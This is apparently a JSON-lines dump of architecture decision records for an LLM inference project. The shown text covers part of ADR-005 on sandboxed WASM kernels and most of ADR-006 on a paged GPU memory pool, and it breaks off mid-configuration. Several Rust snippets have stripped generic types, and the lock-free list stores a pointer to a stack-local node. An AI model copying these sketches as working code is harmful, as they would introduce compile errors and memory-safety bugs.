self.runtime_version.clone(),\n };\n }\n\n if self.runtime_version > manifest.max_runtime_version {\n return CompatibilityResult::RuntimeTooNew {\n max_supported: manifest.max_runtime_version.clone(),\n actual: self.runtime_version.clone(),\n };\n }\n\n // Check WASM feature requirements\n for kernel in &manifest.kernels {\n if let Some(platform) = kernel.platforms.get(\"wasmtime\") {\n for feature in &platform.features {\n if !self.has_feature(feature) {\n return CompatibilityResult::MissingFeature {\n kernel: kernel.id.clone(),\n feature: feature.clone(),\n };\n }\n }\n }\n }\n\n CompatibilityResult::Compatible\n }\n}\n```\n\n### 5.3 Safe Rollback Protocol\n\n```rust\npub struct KernelManager {\n active_pack: Arc>,\n previous_pack: Arc>>,\n metrics: KernelMetrics,\n}\n\nimpl KernelManager {\n /// Upgrade to new kernel pack with automatic rollback on failure\n pub async fn upgrade(&self, new_pack: KernelPack) -> Result<(), UpgradeError> {\n // Step 1: Verify new pack\n self.verifier.verify(&new_pack)?;\n self.compatibility.check(&new_pack.manifest)?;\n\n // Step 2: Compile kernels (AOT if supported)\n let compiled = self.compile_pack(&new_pack).await?;\n\n // Step 3: Atomic swap with rollback capability\n {\n let mut active = self.active_pack.write().await;\n let mut previous = self.previous_pack.write().await;\n\n // Store current as rollback target\n *previous = Some(std::mem::replace(&mut *active, compiled));\n }\n\n // Step 4: Health check with new kernels\n if let Err(e) = self.health_check().await {\n tracing::error!(\"Kernel health check failed: {}\", e);\n self.rollback().await?;\n return Err(UpgradeError::HealthCheckFailed(e));\n }\n\n // Step 5: Clear rollback after grace period\n tokio::spawn({\n let previous = self.previous_pack.clone();\n async move {\n tokio::time::sleep(Duration::from_secs(300)).await;\n *previous.write().await = None;\n }\n });\n\n Ok(())\n }\n\n /// Rollback to previous kernel pack\n pub async fn rollback(&self) -> Result<(), RollbackError> {\n let mut active = self.active_pack.write().await;\n let mut previous = self.previous_pack.write().await;\n\n if let Some(prev) = previous.take() {\n *active = prev;\n tracing::info!(\"Rolled back to previous kernel pack\");\n Ok(())\n } else {\n Err(RollbackError::NoPreviousPack)\n }\n }\n}\n```\n\n## 6. Device Class Configurations\n\n### 6.1 Edge Server Configuration (Wasmtime + Epoch)\n\n```rust\npub fn create_server_runtime() -> Result {\n let mut config = Config::new();\n\n // Performance optimizations\n config.cranelift_opt_level(OptLevel::Speed);\n config.cranelift_nan_canonicalization(false);\n config.parallel_compilation(true);\n\n // SIMD support for vectorized operations\n config.wasm_simd(true);\n config.wasm_bulk_memory(true);\n config.wasm_multi_value(true);\n\n // Memory configuration\n config.static_memory_maximum_size(1 << 32); // 4GB max\n config.dynamic_memory_guard_size(1 << 16); // 64KB guard\n\n // Epoch-based interruption\n config.epoch_interruption(true);\n\n let engine = Engine::new(&config)?;\n\n Ok(WasmRuntime {\n engine,\n epoch_tick_interval: Duration::from_millis(10),\n default_epoch_budget: 1000, // 10 seconds max\n })\n}\n```\n\n### 6.2 Embedded Configuration (WAMR AOT)\n\n```rust\npub fn create_embedded_runtime() -> Result {\n let mut config = WamrConfig::new();\n\n // Minimal footprint configuration\n config.set_stack_size(32 * 1024); // 32KB stack\n config.set_heap_size(128 * 1024); // 128KB heap\n config.enable_aot(true); // Pre-compiled modules\n config.enable_simd(false); // Often unavailable on MCU\n config.enable_bulk_memory(true);\n\n // Interpreter fallback for debugging\n config.enable_interp(cfg!(debug_assertions));\n\n // Execution limits\n config.set_exec_timeout_ms(100); // 100ms max per invocation\n\n Ok(WamrRuntime::new(config)?)\n}\n```\n\n### 6.3 WASI Threads (Optional)\n\nFor platforms supporting WASI threads:\n\n```rust\npub fn create_threaded_runtime() -> Result {\n let mut config = Config::new();\n\n // Enable threading support\n config.wasm_threads(true);\n config.wasm_shared_memory(true);\n\n // Thread pool configuration\n config.async_support(true);\n config.max_wasm_threads(4);\n\n let engine = Engine::new(&config)?;\n\n Ok(WasmRuntime {\n engine,\n thread_pool_size: 4,\n })\n}\n```\n\n**Platform Support Matrix**:\n\n| Platform | WASI Threads | Notes |\n|----------|--------------|-------|\n| Linux x86_64 | Yes | Full support |\n| Linux ARM64 | Yes | Full support |\n| macOS | Yes | Full support |\n| Windows | Yes | Full support |\n| WAMR | No | Single-threaded only |\n| Browser | Yes | Via SharedArrayBuffer |\n\n## 7. Performance Considerations\n\n### 7.1 Invocation Overhead\n\n| Operation | Latency | Notes |\n|-----------|---------|-------|\n| Kernel lookup | ~100ns | Hash table lookup |\n| Instance creation | ~1us | Pre-compiled module |\n| Memory setup | ~500ns | Shared memory mapping |\n| Epoch check | ~2ns | Single atomic read |\n| Return value | ~100ns | Register transfer |\n| **Total** | **~2us** | Per invocation |\n\n### 7.2 Optimization Strategies\n\n1. **Module Caching**: Pre-compile and cache WASM modules\n2. **Instance Pooling**: Reuse instances across invocations\n3. **Memory Sharing**: Map host tensors directly into WASM linear memory\n4. **Batch Invocations**: Process multiple requests per kernel call\n\n### 7.3 When to Bypass WASM\n\nWASM sandboxing should be bypassed (with explicit opt-in) for:\n\n- Attention kernels (complex memory patterns)\n- Large matrix multiplications (>1000x1000)\n- Operations with <1ms latency requirements\n- Trusted, verified native kernels\n\n## 8. Alternatives Considered\n\n### 8.1 eBPF\n\n| Aspect | eBPF | WASM |\n|--------|------|------|\n| Platform | Linux only | Cross-platform |\n| Verification | Static, strict | Dynamic, flexible |\n| Memory model | Constrained | Linear memory |\n| Tooling | Improving | Mature |\n\n**Decision**: WASM chosen for cross-platform support.\n\n### 8.2 Lua/LuaJIT\n\n| Aspect | Lua | WASM |\n|--------|-----|------|\n| Performance | Good (JIT) | Excellent (AOT) |\n| Sandboxing | Manual effort | Built-in |\n| Type safety | Dynamic | Static |\n| Ecosystem | Large | Growing |\n\n**Decision**: WASM chosen for type safety and native compilation.\n\n### 8.3 Native Plugins with seccomp\n\n| Aspect | seccomp | WASM |\n|--------|---------|------|\n| Isolation | Process-level | In-process |\n| Overhead | IPC cost | Minimal |\n| Portability | Linux only | Cross-platform |\n| Complexity | High | Moderate |\n\n**Decision**: WASM chosen for in-process efficiency and portability.\n\n## 9. Consequences\n\n### 9.1 Positive\n\n- **Security**: Strong isolation prevents kernel code from compromising host\n- **Portability**: Same kernels run on servers and embedded devices\n- **Hot Updates**: Kernels can be updated without service restart\n- **Ecosystem**: Large WASM toolchain and community support\n- **Auditability**: WASM modules can be inspected and verified\n\n### 9.2 Negative\n\n- **Overhead**: ~2us per invocation vs. native direct call\n- **Complexity**: Additional abstraction layer to maintain\n- **Tooling**: WASM debugging tools less mature than native\n- **Learning Curve**: Team needs WASM expertise\n\n### 9.3 Risks\n\n| Risk | Likelihood | Impact | Mitigation |\n|------|------------|--------|------------|\n| Performance regression | Medium | High | Benchmark suite, native fallbacks |\n| WASI-NN instability | Low | Medium | Abstract behind internal API |\n| Supply chain attack | Low | Critical | Signature verification, trusted keys |\n| Epoch timing variability | Medium | Low | Generous budgets, monitoring |\n\n## 10. Implementation Plan\n\n### Phase 1: Foundation (Weeks 1-2)\n- [ ] Set up Wasmtime integration\n- [ ] Implement kernel descriptor ABI\n- [ ] Create basic kernel loader\n\n### Phase 2: Core Kernels (Weeks 3-4)\n- [ ] Implement RoPE kernel\n- [ ] Implement RMSNorm kernel\n- [ ] Implement SwiGLU kernel\n\n### Phase 3: KV Cache (Weeks 5-6)\n- [ ] Implement quantization kernels\n- [ ] Implement dequantization kernels\n- [ ] Integration with cache manager\n\n### Phase 4: Security (Weeks 7-8)\n- [ ] Implement signature verification\n- [ ] Create version compatibility checker\n- [ ] Build rollback system\n\n### Phase 5: Embedded (Weeks 9-10)\n- [ ] WAMR integration\n- [ ] AOT compilation pipeline\n- [ ] Resource-constrained testing\n\n## 11. References\n\n- [Wasmtime Documentation](https://docs.wasmtime.dev/)\n- [WAMR Documentation](https://github.com/bytecodealliance/wasm-micro-runtime)\n- [WASI-NN Specification](https://github.com/WebAssembly/wasi-nn)\n- [WebAssembly Security Model](https://webassembly.org/docs/security/)\n- [Component Model Proposal](https://github.com/WebAssembly/component-model)\n\n## 12. Appendix\n\n### A. Kernel Interface Definition\n\n```rust\n/// Standard kernel interface (exported by WASM modules)\n#[link(wasm_import_module = \"ruvllm\")]\nextern \"C\" {\n /// Initialize kernel with parameters\n fn kernel_init(params_ptr: *const u8, params_len: u32) -> i32;\n\n /// Execute kernel forward pass\n fn kernel_forward(desc_ptr: *const KernelDescriptor) -> i32;\n\n /// Execute kernel backward pass (optional)\n fn kernel_backward(desc_ptr: *const KernelDescriptor) -> i32;\n\n /// Get kernel metadata\n fn kernel_info(info_ptr: *mut KernelInfo) -> i32;\n\n /// Cleanup kernel resources\n fn kernel_cleanup() -> i32;\n}\n```\n\n### B. Error Codes\n\n| Code | Name | Description |\n|------|------|-------------|\n| 0 | OK | Success |\n| 1 | INVALID_INPUT | Invalid input tensor |\n| 2 | INVALID_OUTPUT | Invalid output tensor |\n| 3 | INVALID_PARAMS | Invalid kernel parameters |\n| 4 | OUT_OF_MEMORY | Insufficient memory |\n| 5 | NOT_IMPLEMENTED | Operation not supported |\n| 6 | INTERNAL_ERROR | Internal kernel error |\n\n### C. Benchmark Template\n\n```rust\n#[cfg(test)]\nmod benchmarks {\n use criterion::{criterion_group, criterion_main, Criterion};\n\n fn bench_rope_f32(c: &mut Criterion) {\n let runtime = create_server_runtime().unwrap();\n let kernel = runtime.load_kernel(\"rope_f32\").unwrap();\n\n let input = Tensor::random([1, 512, 32, 128], DType::F32);\n let freqs = Tensor::random([512, 64], DType::F32);\n\n c.bench_function(\"rope_f32_seq512\", |b| {\n b.iter(|| {\n kernel.forward(&input, &freqs).unwrap()\n })\n });\n }\n\n criterion_group!(benches, bench_rope_f32);\n criterion_main!(benches);\n}\n```\n\n---\n\n## Related Decisions\n\n- **ADR-001**: Ruvector Core Architecture\n- **ADR-002**: RuvLLM Integration\n- **ADR-003**: SIMD Optimization Strategy\n- **ADR-007**: Security Review & Technical Debt\n\n---\n\n## Security Status (v2.1)\n\n| Component | Status | Notes |\n|-----------|--------|-------|\n| SharedArrayBuffer | \u2705 Secure | Safety documentation for race conditions |\n| WASM Memory | \u2705 Secure | Bounds checking via WASM sandbox |\n| Kernel Loading | \u26a0\ufe0f Planned | Signature verification pending |\n\n**Fixes Applied:**\n- Added comprehensive safety comments documenting race condition prevention in `shared.rs`\n- JavaScript/WASM coordination patterns documented\n\n**Outstanding Items:**\n- TD-007 (P2): Embedded JavaScript should be extracted to separate files\n\nSee ADR-007 for full security audit trail.\n\n---\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-01-18 | RuVector Architecture Team | Initial version |\n| 1.1 | 2026-01-19 | Security Review Agent | Added security status, related decisions |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-005-wasm-runtime-integration.md", "created_at": "2026-03-28T11:58:48.803703+00:00", "content_hash": "22181ef3249901c41e924f10d12115790009cf20b6af31cfa742e19bd83ae167"} +{"id": "cbd3d130-835e-46a2-bb50-39698071c3e4", "source": "adr", "text": "# ADR-006: Unified Memory Pool and Paging Strategy\n\n| Field | Value |\n|-------|-------|\n| **Status** | Proposed |\n| **Date** | 2026-01-18 |\n| **Authors** | Architecture Team |\n| **Reviewers** | Performance Engineering, ML Infrastructure |\n| **Supersedes** | None |\n| **Related** | ADR-003 (KV Cache), ADR-005 (LoRA Adapter Loading) |\n\n**Note**: The memory pool and paging strategy described here is complemented by ADR-029. The RVF segment model provides memory management through append-only segments with temperature-tiered quantization.\n\n## 1. Context and Problem Statement\n\nModern LLM inference systems face significant memory management challenges when serving multiple concurrent requests with varying adapter configurations. The S-LoRA paper demonstrated that a unified memory pool approach can dramatically improve throughput and reduce fragmentation compared to traditional per-request allocation.\n\n### Current Challenges\n\n1. **Memory Fragmentation**: Traditional allocators suffer from fragmentation when managing:\n - Variable-length KV cache sequences\n - Multiple LoRA adapter weights of different ranks\n - Temporary computation buffers\n\n2. **Multi-Tenant Requirements**: Production systems must support:\n - Thousands of concurrent LoRA adapters\n - Heterogeneous batch sizes and sequence lengths\n - Dynamic adapter hot-swapping without service interruption\n\n3. **Performance Constraints**:\n - GPU memory bandwidth is the primary bottleneck\n - Allocation latency must be sub-microsecond for inference paths\n - Memory utilization must exceed 90% to be cost-effective\n\n### Key Insights from S-LoRA\n\nS-LoRA's unified memory pool architecture demonstrated:\n- 30x throughput improvement over naive per-adapter allocation\n- Near-zero fragmentation through page-based management\n- Efficient heterogeneous batching across adapter variants\n\n## 2. Decision Drivers\n\n- **DR-1**: Maximize GPU memory utilization (target: >95%)\n- **DR-2**: Support 10,000+ concurrent LoRA adapters\n- **DR-3**: Sub-microsecond allocation latency for hot paths\n- **DR-4**: Zero-copy semantics where possible\n- **DR-5**: Graceful degradation under memory pressure\n- **DR-6**: Support heterogeneous tensor sizes without fragmentation\n\n## 3. Considered Options\n\n### Option A: Traditional Per-Request Allocator\n- Standard cudaMalloc/cudaFree per request\n- Simple implementation\n- **Rejected**: Severe fragmentation, high allocation latency\n\n### Option B: Slab Allocator with Fixed Size Classes\n- Pre-defined size buckets (power-of-2)\n- Low fragmentation within classes\n- **Rejected**: Poor fit for variable-length KV caches\n\n### Option C: Unified Paged Memory Pool (Selected)\n- Single arena for all tensor types\n- Page-granular allocation\n- Reference-counted pinning\n- LRU eviction with hysteresis\n\n### Option D: Virtual Memory with Demand Paging\n- Leverage CUDA virtual memory APIs\n- Over-commit with page faults\n- **Rejected**: Page fault latency incompatible with inference SLOs\n\n## 4. Decision\n\nWe adopt **Option C: Unified Paged Memory Pool** with the following specifications.\n\n### 4.1 Page Size Configuration\n\n```\nDefault Page Size: 2 MB\nConfigurable Range: 512 KB - 4 MB\nPage Alignment: 256 bytes (GPU cache line)\n```\n\n**Rationale for 2MB default**:\n- Matches CUDA large page size for optimal TLB usage\n- Balances internal fragmentation vs. metadata overhead\n- Sufficient granularity for typical LoRA adapter sizes (rank 8-64)\n\n### 4.2 Unified Pool Architecture\n\n```\n+------------------------------------------------------------------+\n| UNIFIED MEMORY POOL |\n+------------------------------------------------------------------+\n| Page 0 | Page 1 | Page 2 | ... | Page N-1 | |\n| [KV-A] | [KV-A] | [LoRA-1] | | [Temp] | |\n| pinned | pinned | pinned | free | unpinned | |\n+------------------------------------------------------------------+\n |\n v\n+------------------------------------------------------------------+\n| PAGE METADATA TABLE |\n+------------------------------------------------------------------+\n| Page ID | Status | Content Type | Ref Count | Last Access | ... |\n|---------|----------|--------------|-----------|-------------|-----|\n| 0 | PINNED | KV_CACHE | 3 | T+0 | |\n| 1 | PINNED | KV_CACHE | 3 | T+0 | |\n| 2 | PINNED | LORA_WEIGHT | 1 | T-100ms | |\n| 3 | FREE | - | 0 | - | |\n| N-1 | UNPINNED | TEMP_BUFFER | 0 | T-500ms | |\n+------------------------------------------------------------------+\n```\n\n### 4.3 Content Types\n\n| Type | Description | Typical Size | Pin Duration |\n|------|-------------|--------------|--------------|\n| `KV_CACHE` | Key-value cache for attention | 1-100+ pages | Request lifetime |\n| `LORA_WEIGHT` | LoRA adapter A/B matrices | 1-8 pages | Variable (hot/cold) |\n| `TEMP_BUFFER` | Scratch space for computation | 1-4 pages | Kernel duration |\n| `ACTIVATION` | Intermediate activations | 2-16 pages | Layer duration |\n| `GRADIENT` | Gradient buffers (training) | Varies | Backward pass |\n\n## 5. Allocation Strategy\n\n### 5.1 Allocation Algorithm\n\n```python\ndef allocate_pages(num_pages: int, content_type: ContentType) -> PageRange:\n \"\"\"\n Allocate contiguous page range using best-fit strategy.\n\n Algorithm:\n 1. Try thread-local free cache (fast path)\n 2. Search global free list for best-fit range\n 3. If insufficient free pages, trigger eviction\n 4. Return contiguous PageRange or raise OOM\n \"\"\"\n\n # Fast path: thread-local cache\n if thread_cache.has_contiguous(num_pages):\n return thread_cache.pop(num_pages)\n\n # Global free list with best-fit\n with global_freelist.try_lock():\n range = global_freelist.best_fit(num_pages)\n if range:\n return range\n\n # Eviction required\n evicted = eviction_policy.evict_until_free(num_pages)\n return global_freelist.allocate_after_eviction(num_pages)\n```\n\n### 5.2 Best-Fit vs First-Fit Analysis\n\n| Strategy | Fragmentation | Search Time | Use Case |\n|----------|---------------|-------------|----------|\n| First-Fit | Higher | O(1) amortized | High-throughput, uniform sizes |\n| Best-Fit | Lower | O(log N) | Variable sizes, long-running |\n\n**Decision**: Use **best-fit** as default due to heterogeneous tensor sizes. Provide first-fit option for latency-critical paths.\n\n### 5.3 Lock-Free Free List\n\n```rust\nstruct LockFreePageList {\n head: AtomicPtr,\n size: AtomicUsize,\n}\n\nimpl LockFreePageList {\n fn push(&self, page: PageId) {\n loop {\n let old_head = self.head.load(Ordering::Acquire);\n let new_node = PageNode { page, next: old_head };\n if self.head.compare_exchange_weak(\n old_head,\n &new_node,\n Ordering::Release,\n Ordering::Relaxed\n ).is_ok() {\n self.size.fetch_add(1, Ordering::Relaxed);\n return;\n }\n }\n }\n\n fn pop(&self) -> Option {\n loop {\n let old_head = self.head.load(Ordering::Acquire);\n if old_head.is_null() {\n return None;\n }\n let next = unsafe { (*old_head).next };\n if self.head.compare_exchange_weak(\n old_head,\n next,\n Ordering::Release,\n Ordering::Relaxed\n ).is_ok() {\n self.size.fetch_sub(1, Ordering::Relaxed);\n return Some(unsafe { (*old_head).page });\n }\n }\n }\n}\n```\n\n## 6. Pinning Rules\n\n### 6.1 Pin States\n\n```\n +----------+\n | FREE |\n +----+-----+\n |\n | allocate()\n v\n +----------+\n +--->| UNPINNED |<---+\n | +----+-----+ |\n | | |\n | unpin() | pin() | evict()\n | v |\n | +----------+ |\n +----| PINNED |----+\n +----------+\n```\n\n### 6.2 Reference Counting\n\n```rust\nstruct PageMetadata {\n status: AtomicU8, // FREE, UNPINNED, PINNED\n content_type: ContentType,\n ref_count: AtomicU32, // Pin reference count\n last_access: AtomicU64, // Timestamp for LRU\n owner_id: u64, // Request/adapter ID\n}\n\nimpl PageMetadata {\n fn pin(&self) -> Result<(), PinError> {\n loop {\n let count = self.ref_count.load(Ordering::Acquire);\n if self.status.load(Ordering::Acquire) == Status::FREE {\n return Err(PinError::PageFreed);\n }\n if self.ref_count.compare_exchange_weak(\n count,\n count + 1,\n Ordering::Release,\n Ordering::Relaxed\n ).is_ok() {\n self.status.store(Status::PINNED, Ordering::Release);\n return Ok(());\n }\n }\n }\n\n fn unpin(&self) {\n let prev = self.ref_count.fetch_sub(1, Ordering::Release);\n if prev == 1 {\n self.status.store(Status::UNPINNED, Ordering::Release);\n }\n }\n}\n```\n\n### 6.3 Pinning Rules by Content Type\n\n| Content Type | Auto-Pin Duration | Manual Unpin Required |\n|--------------|-------------------|----------------------|\n| KV_CACHE | Request lifetime | No (RAII handle) |\n| LORA_WEIGHT | While in active batch | Yes |\n| TEMP_BUFFER | Kernel execution | No (RAII handle) |\n| ACTIVATION | Forward/backward pass | No (RAII handle) |\n\n## 7. Eviction Policy\n\n### 7.1 LRU with Size-Awareness\n\n```python\nclass EvictionPolicy:\n def __init__(self, hysteresis_factor: float = 0.1):\n self.hysteresis = hysteresis_factor\n self.eviction_queue = PriorityQueue() # Min-heap by score\n\n def compute_score(self, page: PageMetadata) -> float:\n \"\"\"\n Eviction score: lower = more likely to evict\n\n Score = recency_weight * (1 / time_since_access)\n + size_weight * (pages_in_block / total_pages)\n + priority_weight * content_type_priority\n \"\"\"\n recency = 1.0 / (current_time - page.last_access + 1)\n size_factor = page.block_size / self.total_pages\n priority = CONTENT_PRIORITY[page.content_type]\n\n return (0.6 * recency + 0.2 * size_factor + 0.2 * priority)\n\n def evict_until_free(self, required_pages: int) -> List[PageRange]:\n \"\"\"\n Evict pages until required_pages are free.\n Uses hysteresis to prevent thrashing.\n \"\"\"\n target = required_pages * (1 + self.hysteresis)\n evicted = []\n\n while self.free_pages < target:\n candidate = self.eviction_queue.pop_min()\n if candidate.ref_count > 0:\n continue # Skip pinned pages\n\n # Evict the page\n self.free_page(candidate)\n evicted.append(candidate)\n\n return evicted\n```\n\n### 7.2 Content Type Priorities\n\n| Priority | Content Type | Eviction Preference |\n|----------|--------------|---------------------|\n| 1 (lowest) | TEMP_BUFFER | Evict first |\n| 2 | ACTIVATION | Evict second |\n| 3 | LORA_WEIGHT (cold) | Evict third |\n| 4 | LORA_WEIGHT (warm) | Prefer to keep |\n| 5 (highest) | KV_CACHE | Evict last |\n\n### 7.3 Hysteresis Mechanism\n\n```\nMemory Pressure vs. Eviction Rate\n\nEviction | ____________________\nRate | /\n | /\n | /\n | _____/\n | /\n |_________/\n +------------------------------------------------\n Low Medium High Critical\n Memory Pressure\n\nHysteresis Band: Prevents oscillation between evict/allocate cycles\n- Start eviction at 90% utilization\n- Continue until 80% utilization\n- Resume eviction only when pressure returns to 90%\n```\n\n## 8. Concurrency Model\n\n### 8.1 Lock Hierarchy\n\n```\nLevel 1 (Global): [Eviction Mutex]\n |\nLevel 2 (Per-Region): [Region Lock 0] [Region Lock 1] ... [Region Lock N]\n |\nLevel 3 (Per-Thread): [Thread Cache 0] [Thread Cache 1] ... [Thread Cache M]\n```\n\n### 8.2 Lightweight Eviction Mutex\n\n```rust\nstruct EvictionCoordinator {\n mutex: Mutex<()>,\n in_progress: AtomicBool,\n waiting_threads: AtomicUsize,\n}\n\nimpl EvictionCoordinator {\n fn maybe_evict(&self, required: usize) -> bool {\n // Fast path: no eviction needed\n if self.free_pages() >= required {\n return true;\n }\n\n // Check if eviction already in progress\n if self.in_progress.load(Ordering::Acquire) {\n self.waiting_threads.fetch_add(1, Ordering::Relaxed);\n while self.in_progress.load(Ordering::Acquire) {\n std::hint::spin_loop();\n }\n self.waiting_threads.fetch_sub(1, Ordering::Relaxed);\n return self.free_pages() >= required;\n }\n\n // Acquire eviction lock\n let _guard = self.mutex.lock();\n self.in_progress.store(true, Ordering::Release);\n\n // Perform eviction\n self.evict_pages(required);\n\n self.in_progress.store(false, Ordering::Release);\n true\n }\n}\n```\n\n### 8.3 Per-Thread Free Page Cache\n\n```rust\nthread_local! {\n static PAGE_CACHE: RefCell = RefCell::new(\n ThreadPageCache::new(THREAD_CACHE_SIZE)\n );\n}\n\nstruct ThreadPageCache {\n pages: Vec,\n max_size: usize,\n}\n\nimpl ThreadPageCache {\n fn allocate(&mut self, count: usize) -> Option> {\n if self.pages.len() >= count {\n Some(self.pages.drain(..count).collect())\n } else {\n None\n }\n }\n\n fn return_pages(&mut self, pages: Vec) {\n let space = self.max_size - self.pages.len();\n let to_cache = pages.len().min(space);\n self.pages.extend(pages.into_iter().take(to_cache));\n\n // Return excess to global pool\n if pages.len() > to_cache {\n global_pool.return_pages(&pages[to_cache..]);\n }\n }\n}\n```\n\n### 8.4 Two-Phase Kernel Activation\n\nFor GPU kernel updates that depend on page mappings:\n\n```rust\nenum ActivationPhase {\n Prepare, // Acquire pages, update metadata\n Commit, // Make visible to GPU kernels\n Rollback, // On failure, release pages\n}\n\nimpl PageAllocator {\n fn two_phase_allocate(&self, request: AllocationRequest) -> TwoPhaseHandle {\n // Phase 1: Prepare\n let pages = self.allocate_internal(request.size)?;\n let handle = TwoPhaseHandle::new(pages, ActivationPhase::Prepare);\n\n handle\n }\n\n fn commit(&self, handle: &mut TwoPhaseHandle) {\n // Phase 2: Commit - atomic visibility update\n memory_fence();\n for page in &handle.pages {\n self.page_table.make_visible(page);\n }\n handle.phase = ActivationPhase::Commit;\n }\n\n fn rollback(&self, handle: TwoPhaseHandle) {\n // Rollback - return pages to free list\n for page in handle.pages {\n self.free_page(page);\n }\n }\n}\n```\n\n## 9. Multi-Tenant Adapter Serving\n\n### 9.1 Adapter Residency Tiers\n\n```\n+------------------+ +-----------------+ +------------------+\n| HOT TIER | | WARM TIER | | COLD TIER |\n| (GPU Memory) | | (CPU Memory) | | (Disk/NVMe) |\n+------------------+ +-----------------+ +------------------+\n| fp16 weights | | int8 weights | | Compressed |\n| Instant access | | ~1ms load time | | ~10ms load time |\n| Top 100 adapters| | Next 1000 | | Remaining |\n+------------------+ +-----------------+ +------------------+\n ^ ^ ^\n | | |\n +-------[Promotion]-----+-------[Promotion]-----+\n | | |\n +------[Demotion]-------+------[Demotion]-------+\n```\n\n### 9.2 Residency Rules\n\n```python\nclass AdapterResidencyManager:\n def __init__(self):\n self.hot_budget = 100 # Max adapters in GPU\n self.warm_budget = 1000 # Max adapters in CPU\n self.access_window = 60 # seconds\n\n def compute_residency(self, adapter: Adapter) -> Tier:\n \"\"\"\n Determine optimal residency tier based on usage patterns.\n \"\"\"\n recent_accesses = adapter.accesses_in_window(self.access_window)\n\n if recent_accesses >= 10:\n return Tier.HOT\n elif recent_accesses >= 1:\n return Tier.WARM\n else:\n return Tier.COLD\n\n def rebalance(self):\n \"\"\"\n Periodic rebalancing of adapters across tiers.\n \"\"\"\n all_adapters = sorted(\n self.adapters,\n key=lambda a: a.access_frequency,\n reverse=True\n )\n\n # Assign to tiers\n for i, adapter in enumerate(all_adapters):\n if i < self.hot_budget:\n self.promote_to_hot(adapter)\n elif i < self.hot_budget + self.warm_budget:\n self.move_to_warm(adapter)\n else:\n self.demote_to_cold(adapter)\n```\n\n### 9.3 Heterogeneous Batching (S-LoRA Style)\n\n```python\nclass HeterogeneousBatcher:\n \"\"\"\n Batch requests with different LoRA adapters together.\n Uses BGMV (Batched Gather Matrix-Vector) for efficiency.\n \"\"\"\n\n def __init__(self, max_batch_size: int = 256):\n self.max_batch = max_batch_size\n self.pending_requests = defaultdict(list)\n\n def add_request(self, request: InferenceRequest):\n adapter_id = request.adapter_id or \"base\"\n self.pending_requests[adapter_id].append(request)\n\n def form_batch(self) -> HeterogeneousBatch:\n \"\"\"\n Form a batch that may contain multiple adapters.\n \"\"\"\n batch = HeterogeneousBatch()\n\n # Sort adapters by pending request count\n adapters = sorted(\n self.pending_requests.items(),\n key=lambda x: len(x[1]),\n reverse=True\n )\n\n for adapter_id, requests in adapters:\n available_slots = self.max_batch - len(batch)\n if available_slots <= 0:\n break\n\n # Add requests from this adapter\n to_add = requests[:available_slots]\n batch.add_adapter_requests(adapter_id, to_add)\n\n # Update pending\n self.pending_requests[adapter_id] = requests[available_slots:]\n\n return batch\n```\n\n### 9.4 Adapter Compression\n\n```rust\nstruct AdapterCompressor {\n compression_threshold: Duration, // Compress after idle for this long\n}\n\nimpl AdapterCompressor {\n fn maybe_compress(&self, adapter: &mut Adapter) -> bool {\n if adapter.last_access.elapsed() < self.compression_threshold {\n return false;\n }\n\n match adapter.precision {\n Precision::FP16 => {\n // Compress to INT8 for warm tier\n adapter.weights = quantize_to_int8(&adapter.weights);\n adapter.precision = Precision::INT8;\n true\n }\n Precision::INT8 => {\n // Already compressed\n false\n }\n }\n }\n\n fn decompress_for_use(&self, adapter: &mut Adapter) {\n if adapter.precision == Precision::INT8 {\n adapter.weights = dequantize_to_fp16(&adapter.weights);\n adapter.precision = Precision::FP16;\n }\n }\n}\n```\n\n## 10. API Design\n\n### 10.1 Core Interfaces\n\n```rust\npub trait MemoryPool {\n /// Allocate contiguous pages\n fn allocate(&self, pages: usize, content_type: ContentType) -> Result;\n\n /// Free pages back to pool\n fn free(&self, range: PageRange);\n\n /// Pin pages (prevent eviction)\n fn pin(&self, range: &PageRange) -> PinGuard;\n\n /// Get pool statistics\n fn stats(&self) -> PoolStats;\n}\n\npub trait EvictionPolicy {\n /// Select pages for eviction\n fn select_victims(&self, required: usize) -> Vec;\n\n /// Notify of page access (for LRU tracking)\n fn touch(&self, page: PageId);\n\n /// Update eviction parameters\n fn configure(&mut self, config: EvictionConfig);\n}\n\npub trait AdapterManager {\n /// Load adapter into appropriate tier\n fn load(&self, adapter_id: &str) -> Result;\n\n /// Unload adapter (may stay cached)\n fn unload(&self, handle: AdapterHandle);\n\n /// Get adapter for inference (promotes if needed)\n fn acquire(&self, adapter_id: &str) -> Result;\n\n /// Release adapter after inference\n fn release(&self, adapter: ActiveAdapter);\n}\n```\n\n### 10.2 RAII Handles\n\n```rust\n/// RAII guard that automatically unpins on drop\npub struct PinGuard<'a> {\n pool: &'a MemoryPool,\n range: PageRange,\n}\n\nimpl<'a> Drop for PinGuard<'a> {\n fn drop(&mut self) {\n self.pool.unpin(&self.range);\n }\n}\n\n/// RAII handle for allocated pages\npub struct AllocationHandle {\n pool: Arc,\n range: PageRange,\n pin_guard: Option,\n}\n\nimpl Drop for AllocationHandle {\n fn drop(&mut self) {\n self.pin_guard.take(); // Unpin first\n self.pool.free(self.range.clone());\n }\n}\n```\n\n## 11. Metrics and Observability\n\n### 11.1 Key Metrics\n\n| Metric | Description | Target |\n|--------|-------------|--------|\n| `pool_utilization` | Percentage of pages in use | >95% |\n| `allocation_latency_p99` | 99th percentile allocation time | <1us |\n| `eviction_rate` | Pages evicted per second | Minimize |\n| `fragmentation_ratio` | Largest free block / total free | >0.8 |\n| `pin_contention` | Pin operation retries | <0.1% |\n| `adapter_hit_rate` | Hot tier hit rate | >90% |\n\n### 11.2 Prometheus Metrics\n\n```rust\nlazy_static! {\n static ref POOL_UTILIZATION: Gauge = register_gauge!(\n \"ruvector_memory_pool_utilization\",\n \"Percentage of memory pool in use\"\n ).unwrap();\n\n static ref ALLOCATION_LATENCY: Histogram = register_histogram!(\n \"ruvector_allocation_latency_seconds\",\n \"Time to allocate pages\",\n vec![0.0000001, 0.000001, 0.00001, 0.0001, 0.001]\n ).unwrap();\n\n static ref EVICTION_TOTAL: Counter = register_counter!(\n \"ruvector_pages_evicted_total\",\n \"Total pages evicted\"\n ).unwrap();\n}\n```\n\n## 12. Configuration\n\n```yaml\nmemory_pool:\n # Page configuration\n page_size: \"2MB\" # 512KB, 1MB, 2MB, 4MB\n total_pages: 4096 # Total pool size = page_size * total_pages\n alignment: 256 # Bytes\n\n # Allocation strategy\n allocation_strategy: \"best_fit\" # first_fit, 